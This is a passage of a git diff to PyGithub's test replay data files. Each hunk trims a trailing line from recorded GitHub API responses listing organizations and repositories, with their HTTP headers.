ailslove/events","hooks_url":"https://api.github.com/orgs/railslove/hooks","issues_url":"https://api.github.com/orgs/railslove/issues","members_url":"https://api.github.com/orgs/railslove/members{/member}","public_members_url":"https://api.github.com/orgs/railslove/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1067?v=4","description":"We're an agile team building new products for the web. And oh boy, we're kind of good at it. Want to work with us?"},{"login":"railsdog","id":1119,"url":"https://api.github.com/orgs/railsdog","repos_url":"https://api.github.com/orgs/railsdog/repos","events_url":"https://api.github.com/orgs/railsdog/events","hooks_url":"https://api.github.com/orgs/railsdog/hooks","issues_url":"https://api.github.com/orgs/railsdog/issues","members_url":"https://api.github.com/orgs/railsdog/members{/member}","public_members_url":"https://api.github.com/orgs/railsdog/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1119?v=4","description":"Leading Spree Commerce Integration Partner"},{"login":"netguru","id":1146,"url":"https://api.github.com/orgs/netguru","repos_url":"https://api.github.com/orgs/netguru/repos","events_url":"https://api.github.com/orgs/netguru/events","hooks_url":"https://api.github.com/orgs/netguru/hooks","issues_url":"https://api.github.com/orgs/netguru/issues","members_url":"https://api.github.com/orgs/netguru/members{/member}","public_members_url":"https://api.github.com/orgs/netguru/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1146?v=4","description":"Ruby on Rails and mobile development house"},{"login":"webhostio","id":1147,"url":"https://api.github.com/orgs/webhostio","repos_url":"https://api.github.com/orgs/webhostio/repos","events_url":"https://api.github.com/orgs/webhostio/events","hooks_url":"https://api.github.com/orgs/webhostio/hooks","issues_url":"https://api.github.com/orgs/webhostio/issues","members_url":"https://api.github.com/orgs/webhostio/members{/member}","public_members_url":"https://api.github.com/orgs/webhostio/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1147?v=4","description":null},{"login":"animikii","id":1190,"url":"https://api.github.com/orgs/animikii","repos_url":"https://api.github.com/orgs/animikii/repos","events_url":"https://api.github.com/orgs/animikii/events","hooks_url":"https://api.github.com/orgs/animikii/hooks","issues_url":"https://api.github.com/orgs/animikii/issues","members_url":"https://api.github.com/orgs/animikii/members{/member}","public_members_url":"https://api.github.com/orgs/animikii/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1190?v=4","description":""},{"login":"sauspiel","id":1511,"url":"https://api.github.com/orgs/sauspiel","repos_url":"https://api.github.com/orgs/sauspiel/repos","events_url":"https://api.github.com/orgs/sauspiel/events","hooks_url":"https://api.github.com/orgs/sauspiel/hooks","issues_url":"https://api.github.com/orgs/sauspiel/issues","members_url":"https://api.github.com/orgs/sauspiel/members{/member}","public_members_url":"https://api.github.com/orgs/sauspiel/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1511?v=4","description":""},{"login":"wherecloud","id":1849,"url":"https://api.github.com/orgs/wherecloud","repos_url":"https://api.github.com/orgs/wherecloud/repos","events_url":"https://api.github.com/orgs/wherecloud/events","hooks_url":"https://api.github.com/orgs/wherecloud/hooks","issues_url":"https://api.github.com/orgs/wherecloud/issues","members_url":"https://api.github.com/orgs/wherecloud/members{/member}","public_members_url":"https://api.github.com/orgs/wherecloud/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1849?v=4","description":""},{"login":"triveos","id":1928,"url":"https://api.github.com/orgs/triveos","repos_url":"https://api.github.com/orgs/triveos/repos","events_url":"https://api.github.com/orgs/triveos/events","hooks_url":"https://api.github.com/orgs/triveos/hooks","issues_url":"https://api.github.com/orgs/triveos/issues","members_url":"https://api.github.com/orgs/triveos/members{/member}","public_members_url":"https://api.github.com/orgs/triveos/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1928?v=4","description":null},{"login":"lincolnloop","id":1964,"url":"https://api.github.com/orgs/lincolnloop","repos_url":"https://api.github.com/orgs/lincolnloop/repos","events_url":"https://api.github.com/orgs/lincolnloop/events","hooks_url":"https://api.github.com/orgs/lincolnloop/hooks","issues_url":"https://api.github.com/orgs/lincolnloop/issues","members_url":"https://api.github.com/orgs/lincolnloop/members{/member}","public_members_url":"https://api.github.com/orgs/lincolnloop/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1964?v=4","description":"Makers of high performance web applications."},{"login":"notch8","id":2084,"url":"https://api.github.com/orgs/notch8","repos_url":"https://api.github.com/orgs/notch8/repos","events_url":"https://api.github.com/orgs/notch8/events","hooks_url":"https://api.github.com/orgs/notch8/hooks","issues_url":"https://api.github.com/orgs/notch8/issues","members_url":"https://api.github.com/orgs/notch8/members{/member}","public_members_url":"https://api.github.com/orgs/notch8/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2084?v=4","description":""},{"login":"edgecase","id":2309,"url":"https://api.github.com/orgs/edgecase","repos_url":"https://api.github.com/orgs/edgecase/repos","events_url":"https://api.github.com/orgs/edgecase/events","hooks_url":"https://api.github.com/orgs/edgecase/hooks","issues_url":"https://api.github.com/orgs/edgecase/issues","members_url":"https://api.github.com/orgs/edgecase/members{/member}","public_members_url":"https://api.github.com/orgs/edgecase/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2309?v=4","description":""},{"login":"galaxycats","id":2548,"url":"https://api.github.com/orgs/galaxycats","repos_url":"https://api.github.com/orgs/galaxycats/repos","events_url":"https://api.github.com/orgs/galaxycats/events","hooks_url":"https://api.github.com/orgs/galaxycats/hooks","issues_url":"https://api.github.com/orgs/galaxycats/issues","members_url":"https://api.github.com/orgs/galaxycats/members{/member}","public_members_url":"https://api.github.com/orgs/galaxycats/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2548?v=4","description":""},{"login":"standout","id":2595,"url":"https://api.github.com/orgs/standout","repos_url":"https://api.github.com/orgs/standout/repos","events_url":"https://api.github.com/orgs/standout/events","hooks_url":"https://api.github.com/orgs/standout/hooks","issues_url":"https://api.github.com/orgs/standout/issues","members_url":"https://api.github.com/orgs/standout/members{/member}","public_members_url":"https://api.github.com/orgs/standout/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/2595?v=4","description":null},{"login":"trabian","id":2705,"url":"https://api.github.com/orgs/trabian","repos_url":"https://api.github.com/orgs/trabian/repos","events_url":"https://api.github.com/orgs/trabian/events","hooks_url":"https://api.github.com/orgs/trabian/hooks","issues_url":"https://api.github.com/orgs/trabian/issues","members_url":"https://api.github.com/orgs/trabian/members{/member}","public_members_url":"https://api.github.com/orgs/trabian/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/2705?v=4","description":""},{"login":"wesabe","id":2842,"url":"https://api.github.com/orgs/wesabe","repos_url":"https://api.github.com/orgs/wesabe/repos","events_url":"https://api.github.com/orgs/wesabe/events","hooks_url":"https://api.github.com/orgs/wesabe/hooks","issues_url":"https://api.github.com/orgs/wesabe/issues","members_url":"https://api.github.com/orgs/wesabe/members{/member}","public_members_url":"https://api.github.com/orgs/wesabe/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2842?v=4","description":null},{"login":"orgsync","id":2925,"url":"https://api.github.com/orgs/orgsync","repos_url":"https://api.github.com/orgs/orgsync/repos","events_url":"https://api.github.com/orgs/orgsync/events","hooks_url":"https://api.github.com/orgs/orgsync/hooks","issues_url":"https://api.github.com/orgs/orgsync/issues","members_url":"https://api.github.com/orgs/orgsync/members{/member}","public_members_url":"https://api.github.com/orgs/orgsync/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2925?v=4","description":""},{"login":"UntoThisLast","id":3043,"url":"https://api.github.com/orgs/UntoThisLast","repos_url":"https://api.github.com/orgs/UntoThisLast/repos","events_url":"https://api.github.com/orgs/UntoThisLast/events","hooks_url":"https://api.github.com/orgs/UntoThisLast/hooks","issues_url":"https://api.github.com/orgs/UntoThisLast/issues","members_url":"https://api.github.com/orgs/UntoThisLast/members{/member}","public_members_url":"https://api.github.com/orgs/UntoThisLast/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/3043?v=4","description":null}] - diff --git a/tests/ReplayData/Github.testGetOrganizationsSince.txt b/tests/ReplayData/Github.testGetOrganizationsSince.txt index a96044f132..354b4f922c 100644 --- a/tests/ReplayData/Github.testGetOrganizationsSince.txt +++ b/tests/ReplayData/Github.testGetOrganizationsSince.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '16888'), ('x-runtime-rack', '0.056225'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', ''), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"91b42438bd7b25d9cd3f614fe517488a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '626D:4691:2414DE:2E1FED:5ACE9B5F'), ('link', '; rel="next", ; rel="first"'), ('date', 'Wed, 11 Apr 2018 23:33:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1523492466')] [{"login":"railslove","id":1067,"url":"https://api.github.com/orgs/railslove","repos_url":"https://api.github.com/orgs/railslove/repos","events_url":"https://api.github.com/orgs/railslove/events","hooks_url":"https://api.github.com/orgs/railslove/hooks","issues_url":"https://api.github.com/orgs/railslove/issues","members_url":"https://api.github.com/orgs/railslove/members{/member}","public_members_url":"https://api.github.com/orgs/railslove/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1067?v=4","description":"We're an agile team building new products for the web. And oh boy, we're kind of good at it. Want to work with us?"},{"login":"railsdog","id":1119,"url":"https://api.github.com/orgs/railsdog","repos_url":"https://api.github.com/orgs/railsdog/repos","events_url":"https://api.github.com/orgs/railsdog/events","hooks_url":"https://api.github.com/orgs/railsdog/hooks","issues_url":"https://api.github.com/orgs/railsdog/issues","members_url":"https://api.github.com/orgs/railsdog/members{/member}","public_members_url":"https://api.github.com/orgs/railsdog/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1119?v=4","description":"Leading Spree Commerce Integration Partner"},{"login":"netguru","id":1146,"url":"https://api.github.com/orgs/netguru","repos_url":"https://api.github.com/orgs/netguru/repos","events_url":"https://api.github.com/orgs/netguru/events","hooks_url":"https://api.github.com/orgs/netguru/hooks","issues_url":"https://api.github.com/orgs/netguru/issues","members_url":"https://api.github.com/orgs/netguru/members{/member}","public_members_url":"https://api.github.com/orgs/netguru/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1146?v=4","description":"Ruby on Rails and mobile development house"},{"login":"webhostio","id":1147,"url":"https://api.github.com/orgs/webhostio","repos_url":"https://api.github.com/orgs/webhostio/repos","events_url":"https://api.github.com/orgs/webhostio/events","hooks_url":"https://api.github.com/orgs/webhostio/hooks","issues_url":"https://api.github.com/orgs/webhostio/issues","members_url":"https://api.github.com/orgs/webhostio/members{/member}","public_members_url":"https://api.github.com/orgs/webhostio/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1147?v=4","description":null},{"login":"animikii","id":1190,"url":"https://api.github.com/orgs/animikii","repos_url":"https://api.github.com/orgs/animikii/repos","events_url":"https://api.github.com/orgs/animikii/events","hooks_url":"https://api.github.com/orgs/animikii/hooks","issues_url":"https://api.github.com/orgs/animikii/issues","members_url":"https://api.github.com/orgs/animikii/members{/member}","public_members_url":"https://api.github.com/orgs/animikii/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1190?v=4","description":""},{"login":"sauspiel","id":1511,"url":"https://api.github.com/orgs/sauspiel","repos_url":"https://api.github.com/orgs/sauspiel/repos","events_url":"https://api.github.com/orgs/sauspiel/events","hooks_url":"https://api.github.com/orgs/sauspiel/hooks","issues_url":"https://api.github.com/orgs/sauspiel/issues","members_url":"https://api.github.com/orgs/sauspiel/members{/member}","public_members_url":"https://api.github.com/orgs/sauspiel/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1511?v=4","description":""},{"login":"wherecloud","id":1849,"url":"https://api.github.com/orgs/wherecloud","repos_url":"https://api.github.com/orgs/wherecloud/repos","events_url":"https://api.github.com/orgs/wherecloud/events","hooks_url":"https://api.github.com/orgs/wherecloud/hooks","issues_url":"https://api.github.com/orgs/wherecloud/issues","members_url":"https://api.github.com/orgs/wherecloud/members{/member}","public_members_url":"https://api.github.com/orgs/wherecloud/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/1849?v=4","description":""},{"login":"triveos","id":1928,"url":"https://api.github.com/orgs/triveos","repos_url":"https://api.github.com/orgs/triveos/repos","events_url":"https://api.github.com/orgs/triveos/events","hooks_url":"https://api.github.com/orgs/triveos/hooks","issues_url":"https://api.github.com/orgs/triveos/issues","members_url":"https://api.github.com/orgs/triveos/members{/member}","public_members_url":"https://api.github.com/orgs/triveos/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/1928?v=4","description":null},{"login":"lincolnloop","id":1964,"url":"https://api.github.com/orgs/lincolnloop","repos_url":"https://api.github.com/orgs/lincolnloop/repos","events_url":"https://api.github.com/orgs/lincolnloop/events","hooks_url":"https://api.github.com/orgs/lincolnloop/hooks","issues_url":"https://api.github.com/orgs/lincolnloop/issues","members_url":"https://api.github.com/orgs/lincolnloop/members{/member}","public_members_url":"https://api.github.com/orgs/lincolnloop/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/1964?v=4","description":"Makers of high performance web applications."},{"login":"notch8","id":2084,"url":"https://api.github.com/orgs/notch8","repos_url":"https://api.github.com/orgs/notch8/repos","events_url":"https://api.github.com/orgs/notch8/events","hooks_url":"https://api.github.com/orgs/notch8/hooks","issues_url":"https://api.github.com/orgs/notch8/issues","members_url":"https://api.github.com/orgs/notch8/members{/member}","public_members_url":"https://api.github.com/orgs/notch8/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2084?v=4","description":""},{"login":"edgecase","id":2309,"url":"https://api.github.com/orgs/edgecase","repos_url":"https://api.github.com/orgs/edgecase/repos","events_url":"https://api.github.com/orgs/edgecase/events","hooks_url":"https://api.github.com/orgs/edgecase/hooks","issues_url":"https://api.github.com/orgs/edgecase/issues","members_url":"https://api.github.com/orgs/edgecase/members{/member}","public_members_url":"https://api.github.com/orgs/edgecase/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2309?v=4","description":""},{"login":"galaxycats","id":2548,"url":"https://api.github.com/orgs/galaxycats","repos_url":"https://api.github.com/orgs/galaxycats/repos","events_url":"https://api.github.com/orgs/galaxycats/events","hooks_url":"https://api.github.com/orgs/galaxycats/hooks","issues_url":"https://api.github.com/orgs/galaxycats/issues","members_url":"https://api.github.com/orgs/galaxycats/members{/member}","public_members_url":"https://api.github.com/orgs/galaxycats/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2548?v=4","description":""},{"login":"standout","id":2595,"url":"https://api.github.com/orgs/standout","repos_url":"https://api.github.com/orgs/standout/repos","events_url":"https://api.github.com/orgs/standout/events","hooks_url":"https://api.github.com/orgs/standout/hooks","issues_url":"https://api.github.com/orgs/standout/issues","members_url":"https://api.github.com/orgs/standout/members{/member}","public_members_url":"https://api.github.com/orgs/standout/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/2595?v=4","description":null},{"login":"trabian","id":2705,"url":"https://api.github.com/orgs/trabian","repos_url":"https://api.github.com/orgs/trabian/repos","events_url":"https://api.github.com/orgs/trabian/events","hooks_url":"https://api.github.com/orgs/trabian/hooks","issues_url":"https://api.github.com/orgs/trabian/issues","members_url":"https://api.github.com/orgs/trabian/members{/member}","public_members_url":"https://api.github.com/orgs/trabian/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/2705?v=4","description":""},{"login":"wesabe","id":2842,"url":"https://api.github.com/orgs/wesabe","repos_url":"https://api.github.com/orgs/wesabe/repos","events_url":"https://api.github.com/orgs/wesabe/events","hooks_url":"https://api.github.com/orgs/wesabe/hooks","issues_url":"https://api.github.com/orgs/wesabe/issues","members_url":"https://api.github.com/orgs/wesabe/members{/member}","public_members_url":"https://api.github.com/orgs/wesabe/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/2842?v=4","description":null},{"login":"orgsync","id":2925,"url":"https://api.github.com/orgs/orgsync","repos_url":"https://api.github.com/orgs/orgsync/repos","events_url":"https://api.github.com/orgs/orgsync/events","hooks_url":"https://api.github.com/orgs/orgsync/hooks","issues_url":"https://api.github.com/orgs/orgsync/issues","members_url":"https://api.github.com/orgs/orgsync/members{/member}","public_members_url":"https://api.github.com/orgs/orgsync/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/2925?v=4","description":""},{"login":"UntoThisLast","id":3043,"url":"https://api.github.com/orgs/UntoThisLast","repos_url":"https://api.github.com/orgs/UntoThisLast/repos","events_url":"https://api.github.com/orgs/UntoThisLast/events","hooks_url":"https://api.github.com/orgs/UntoThisLast/hooks","issues_url":"https://api.github.com/orgs/UntoThisLast/issues","members_url":"https://api.github.com/orgs/UntoThisLast/members{/member}","public_members_url":"https://api.github.com/orgs/UntoThisLast/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/3043?v=4","description":null},{"login":"gumgum","id":3286,"url":"https://api.github.com/orgs/gumgum","repos_url":"https://api.github.com/orgs/gumgum/repos","events_url":"https://api.github.com/orgs/gumgum/events","hooks_url":"https://api.github.com/orgs/gumgum/hooks","issues_url":"https://api.github.com/orgs/gumgum/issues","members_url":"https://api.github.com/orgs/gumgum/members{/member}","public_members_url":"https://api.github.com/orgs/gumgum/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3286?v=4","description":null},{"login":"caring","id":3428,"url":"https://api.github.com/orgs/caring","repos_url":"https://api.github.com/orgs/caring/repos","events_url":"https://api.github.com/orgs/caring/events","hooks_url":"https://api.github.com/orgs/caring/hooks","issues_url":"https://api.github.com/orgs/caring/issues","members_url":"https://api.github.com/orgs/caring/members{/member}","public_members_url":"https://api.github.com/orgs/caring/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/3428?v=4","description":""},{"login":"voceconnect","id":3452,"url":"https://api.github.com/orgs/voceconnect","repos_url":"https://api.github.com/orgs/voceconnect/repos","events_url":"https://api.github.com/orgs/voceconnect/events","hooks_url":"https://api.github.com/orgs/voceconnect/hooks","issues_url":"https://api.github.com/orgs/voceconnect/issues","members_url":"https://api.github.com/orgs/voceconnect/members{/member}","public_members_url":"https://api.github.com/orgs/voceconnect/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3452?v=4","description":""},{"login":"braintree","id":3453,"url":"https://api.github.com/orgs/braintree","repos_url":"https://api.github.com/orgs/braintree/repos","events_url":"https://api.github.com/orgs/braintree/events","hooks_url":"https://api.github.com/orgs/braintree/hooks","issues_url":"https://api.github.com/orgs/braintree/issues","members_url":"https://api.github.com/orgs/braintree/members{/member}","public_members_url":"https://api.github.com/orgs/braintree/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3453?v=4","description":""},{"login":"jiva-technology","id":3495,"url":"https://api.github.com/orgs/jiva-technology","repos_url":"https://api.github.com/orgs/jiva-technology/repos","events_url":"https://api.github.com/orgs/jiva-technology/events","hooks_url":"https://api.github.com/orgs/jiva-technology/hooks","issues_url":"https://api.github.com/orgs/jiva-technology/issues","members_url":"https://api.github.com/orgs/jiva-technology/members{/member}","public_members_url":"https://api.github.com/orgs/jiva-technology/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/3495?v=4","description":null},{"login":"insightmethods","id":3518,"url":"https://api.github.com/orgs/insightmethods","repos_url":"https://api.github.com/orgs/insightmethods/repos","events_url":"https://api.github.com/orgs/insightmethods/events","hooks_url":"https://api.github.com/orgs/insightmethods/hooks","issues_url":"https://api.github.com/orgs/insightmethods/issues","members_url":"https://api.github.com/orgs/insightmethods/members{/member}","public_members_url":"https://api.github.com/orgs/insightmethods/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/3518?v=4","description":null},{"login":"squarefactor","id":3686,"url":"https://api.github.com/orgs/squarefactor","repos_url":"https://api.github.com/orgs/squarefactor/repos","events_url":"https://api.github.com/orgs/squarefactor/events","hooks_url":"https://api.github.com/orgs/squarefactor/hooks","issues_url":"https://api.github.com/orgs/squarefactor/issues","members_url":"https://api.github.com/orgs/squarefactor/members{/member}","public_members_url":"https://api.github.com/orgs/squarefactor/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/3686?v=4","description":""},{"login":"intridea","id":3747,"url":"https://api.github.com/orgs/intridea","repos_url":"https://api.github.com/orgs/intridea/repos","events_url":"https://api.github.com/orgs/intridea/events","hooks_url":"https://api.github.com/orgs/intridea/hooks","issues_url":"https://api.github.com/orgs/intridea/issues","members_url":"https://api.github.com/orgs/intridea/members{/member}","public_members_url":"https://api.github.com/orgs/intridea/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/3747?v=4","description":""},{"login":"rarepleasures","id":3883,"url":"https://api.github.com/orgs/rarepleasures","repos_url":"https://api.github.com/orgs/rarepleasures/repos","events_url":"https://api.github.com/orgs/rarepleasures/events","hooks_url":"https://api.github.com/orgs/rarepleasures/hooks","issues_url":"https://api.github.com/orgs/rarepleasures/issues","members_url":"https://api.github.com/orgs/rarepleasures/members{/member}","public_members_url":"https://api.github.com/orgs/rarepleasures/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/3883?v=4","description":null},{"login":"eastmedia","id":4075,"url":"https://api.github.com/orgs/eastmedia","repos_url":"https://api.github.com/orgs/eastmedia/repos","events_url":"https://api.github.com/orgs/eastmedia/events","hooks_url":"https://api.github.com/orgs/eastmedia/hooks","issues_url":"https://api.github.com/orgs/eastmedia/issues","members_url":"https://api.github.com/orgs/eastmedia/members{/member}","public_members_url":"https://api.github.com/orgs/eastmedia/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/4075?v=4","description":null},{"login":"fivesenses","id":4155,"url":"https://api.github.com/orgs/fivesenses","repos_url":"https://api.github.com/orgs/fivesenses/repos","events_url":"https://api.github.com/orgs/fivesenses/events","hooks_url":"https://api.github.com/orgs/fivesenses/hooks","issues_url":"https://api.github.com/orgs/fivesenses/issues","members_url":"https://api.github.com/orgs/fivesenses/members{/member}","public_members_url":"https://api.github.com/orgs/fivesenses/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/4155?v=4","description":null},{"login":"Rouxbe","id":4180,"url":"https://api.github.com/orgs/Rouxbe","repos_url":"https://api.github.com/orgs/Rouxbe/repos","events_url":"https://api.github.com/orgs/Rouxbe/events","hooks_url":"https://api.github.com/orgs/Rouxbe/hooks","issues_url":"https://api.github.com/orgs/Rouxbe/issues","members_url":"https://api.github.com/orgs/Rouxbe/members{/member}","public_members_url":"https://api.github.com/orgs/Rouxbe/public_members{/member}","avatar_url":"https://avatars2.githubusercontent.com/u/4180?v=4","description":"Founded in 2005, Rouxbe (\"ROO-bee\") is the world's leading online culinary school. "},{"login":"xilinus","id":4194,"url":"https://api.github.com/orgs/xilinus","repos_url":"https://api.github.com/orgs/xilinus/repos","events_url":"https://api.github.com/orgs/xilinus/events","hooks_url":"https://api.github.com/orgs/xilinus/hooks","issues_url":"https://api.github.com/orgs/xilinus/issues","members_url":"https://api.github.com/orgs/xilinus/members{/member}","public_members_url":"https://api.github.com/orgs/xilinus/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/4194?v=4","description":null}] - diff --git a/tests/ReplayData/Github.testGetRepoFromFullName.txt b/tests/ReplayData/Github.testGetRepoFromFullName.txt index cee793a9e5..29c3a8d1e1 100644 --- a/tests/ReplayData/Github.testGetRepoFromFullName.txt +++ b/tests/ReplayData/Github.testGetRepoFromFullName.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"922c0519f2733063a899619ae95ce892"'), ('date', 'Sun, 20 May 2012 12:33:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-19T10:50:39Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":18,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-19T10:50:39Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490,"mirror_url":null} - diff --git a/tests/ReplayData/Github.testGetRepoFromId.txt b/tests/ReplayData/Github.testGetRepoFromId.txt index c3407e6dbe..143d737453 100644 --- a/tests/ReplayData/Github.testGetRepoFromId.txt +++ b/tests/ReplayData/Github.testGetRepoFromId.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"922c0519f2733063a899619ae95ce892"'), ('date', 'Sun, 20 May 2012 12:33:27 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-19T10:50:39Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":18,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-19T10:50:39Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490,"mirror_url":null} - diff --git a/tests/ReplayData/Github.testGetRepos.txt b/tests/ReplayData/Github.testGetRepos.txt index 14910c7de1..0fe62d776a 100644 --- a/tests/ReplayData/Github.testGetRepos.txt +++ b/tests/ReplayData/Github.testGetRepos.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '404193'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"ce99e4ff5256ec5157ddea4a067b40b5"'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 19:37:39 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377117459')] [{"id":1,"name":"grit","full_name":"mojombo/grit","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/grit","description":"Grit gives you object oriented read/write access to Git repositories via 